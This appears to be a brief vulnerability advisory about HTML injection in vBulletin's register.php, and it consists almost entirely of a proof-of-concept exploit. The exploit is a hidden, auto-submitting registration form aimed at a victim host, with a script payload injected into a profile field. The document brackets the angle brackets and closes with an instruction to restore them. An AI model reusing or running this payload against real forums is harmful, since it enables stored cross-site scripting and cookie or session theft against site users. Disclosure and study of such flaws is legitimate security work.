vBulletin Register.PHP HTML Injection Vulnerability

vBulletin Register.PHP HTML Injection Vulnerability

The following example has been provided:

[form action="http://[victim]/register.php?do=register" method="post"
style="display:none"]
[input type="hidden" name="s" value="" /]
[input type="hidden" name="regtype" value="1" /]
[input type="text" class="bginput" name="field1" value="" size="25"
maxlength="250" /]
[input type="hidden" name="url" value="index.php" /]
[input type="hidden" name="do" value="addmember" /]
[/form]
[script]
//Code that will be executed
var xss = "\"][script]alert(document"+".cookie)[\/script]";
document.forms[0].field1.value=xss;
document.forms[0].submit();
[/script]

*Replace ([],<>)